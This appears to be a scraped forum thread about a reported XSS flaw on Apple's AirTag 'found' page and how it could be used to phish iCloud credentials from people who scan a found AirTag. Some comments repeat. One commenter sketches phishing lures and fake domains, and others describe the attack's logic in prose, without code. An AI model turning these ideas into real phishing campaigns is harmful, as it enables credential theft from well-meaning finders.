I think the intended attack is to fake an apple login page with the link. You open an actual apple.com page first when you find a tag - so pretty safe to scan - then if you open the link you’ll get an apple login page. Not suspicious.
Now you’ve phished the apple credentials off someone thinking they’re helping find you lost keys. Less people would scan a random QR code they found. And even fewer would mistake it for a real apple login and feel compelled to login.
Now you’ve phished the apple credentials off someone thinking they’re helping find you lost keys. Less people would scan a random QR code they found. And even fewer would mistake it for a real apple login and feel compelled to login.
I'm sure I could design codes people would scan. Ideas "dog lost, scan to help". "win free iPad at Apple [Apple Logo] offical back to school give-away for education [QR]" "50% off Coke [QR]" etc... and just make up a domain "officialapplecontest.com", "couponsforcoke.com" etc..
No, you can’t get me to scan a qr code found in the wild.
It’s on Apple to convince us that it is safe to scan Airtags. And currently their messaging is that they don’t care?
Then I ain’t scanning no Airtag.
It’s on Apple to convince us that it is safe to scan Airtags. And currently their messaging is that they don’t care?
Then I ain’t scanning no Airtag.
This isn't an Airtag bug as such. This is a bug in displaying user information on Apple's website, it just happens to be in the part that was made for Airtags to link to. It's a simple XSS vulnerability.
The fact that Apple let such a stupid bug into their web site is worrying enough. The fact that they don't acknowledge and fix it within hours, when reported to them via their bounty program means that it's not just "don't scan Airtags" you should be thinking, it's "don't visit apple.com / icloud.com / other Apple websites"
The fact that Apple let such a stupid bug into their web site is worrying enough. The fact that they don't acknowledge and fix it within hours, when reported to them via their bounty program means that it's not just "don't scan Airtags" you should be thinking, it's "don't visit apple.com / icloud.com / other Apple websites"
> The fact that Apple let such a stupid bug into their web site is worrying enough.
Those recent articles about large groups of employees pushing the company to take stands on anything but work-related matters makes me wonder if the sane, competent employees have either left or have "mentally checked out."
See: https://www.nytimes.com/2021/09/17/technology/apple-employee...
Those recent articles about large groups of employees pushing the company to take stands on anything but work-related matters makes me wonder if the sane, competent employees have either left or have "mentally checked out."
See: https://www.nytimes.com/2021/09/17/technology/apple-employee...
Sure, you could do that an get some people to fall for that. But in the end, you can just call them stupid for scanning random qr codes and then entering private information. No involvement by Apple.
An airtag is a product by a big company, claiming to be trustworthy. Claiming their products are safe. You are actually told by Apple to scan those airtags, made by them. So you find an Apple airtag, scan it with your Apple iPhone, and an Apple login form is presented to you. Way, way different from that qr code scenario.
An airtag is a product by a big company, claiming to be trustworthy. Claiming their products are safe. You are actually told by Apple to scan those airtags, made by them. So you find an Apple airtag, scan it with your Apple iPhone, and an Apple login form is presented to you. Way, way different from that qr code scenario.
[deleted]
[1] is a better explanation of how this can be exploited.
Basically, a victim finds an air tag, and as a Good Samaritan, opens the "found" link to attempt to reunite the air tag with its owner. The key is, the victim may trust the Apple Airtag to direct them to a secure, private web page, so may be willing to do something like provide their iCloud credentials when prompted.
It's not an attack that would be deployed indiscriminately -- it costs an attacker $30 for a chance that a desired target will find the Airtag, be a Good Samaritan and interact with the "found" page as hoped. But it could make sense against high value targets.
[1] https://medium.com/@bobbyrsec/zero-day-hijacking-icloud-cred...
Basically, a victim finds an air tag, and as a Good Samaritan, opens the "found" link to attempt to reunite the air tag with its owner. The key is, the victim may trust the Apple Airtag to direct them to a secure, private web page, so may be willing to do something like provide their iCloud credentials when prompted.
It's not an attack that would be deployed indiscriminately -- it costs an attacker $30 for a chance that a desired target will find the Airtag, be a Good Samaritan and interact with the "found" page as hoped. But it could make sense against high value targets.
[1] https://medium.com/@bobbyrsec/zero-day-hijacking-icloud-cred...
[deleted]
After reading OP, I was under the impression this is something silly, like being able to enter “Please visit badsite.xyz” in the message you leave. The above makes clear that it’s a real XSS, the AirTag owner can run scripts on found.apple.com.